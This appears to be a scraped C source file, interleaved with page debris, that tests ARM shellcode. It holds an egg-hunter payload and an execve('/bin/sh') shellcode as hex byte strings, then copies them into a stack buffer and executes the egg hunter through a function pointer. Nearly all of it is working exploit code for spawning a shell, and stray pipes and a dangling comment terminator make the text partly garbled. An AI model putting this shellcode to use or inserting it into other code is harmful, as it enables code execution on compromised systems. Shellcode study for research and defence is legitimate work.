||||
|
||||
|
||||
#define EGG "\x90\x50\x90\x50"
|
||||
unsigned char egg[] = EGG;
|
||||
unsigned char *egghunter = "\x01\x50\x8f\xe2\x15\xff\x2f\xe1\x7d\x46\x28\x47\x21\x16\xe0\xe1\x01\x16\xe0\xe1\x01\x50\x8f\xe2\x15\xff\x2f\xe1\x01\x31\x06\x4b\x43\x27\x01\xdf\x51\x3f\xb8\x42\xee\xd0\x0a\x68\x9a\x42\xf5\xd1\x7d\x46\x28\x47\x01\xf0\xa0\xe1\x50\x90\x50\x90";
|
||||
|
||||
// The shellcode to search for (in this case "execve('/bin/sh')")
|
||||
unsigned char *shellcode = "\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x49\x40\x52\x40\x01\xa0"
|
||||
"\xc2\x71\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x41";
|
||||
|
||||
void main()
|
||||
{
|
||||
char buffer[200];
|
||||
|
||||
strcpy(buffer, egg);
|
||||
strcpy(buffer+4, shellcode);
|
||||
|
||||
printf("Egg hunter shellcode Length: %d\n", strlen(egghunter));
|
||||
printf("Shellcode Length (inc egg): %d\n", strlen(buffer));
|
||||
printf("Stack location: %p\n", buffer);
|
||||
|
||||
int (*ret)() = (int(*)())egghunter;
|
||||
|
||||
ret();
|
||||
}
|
||||
*/
|
||||
Loading…
Add table
Reference in a new issue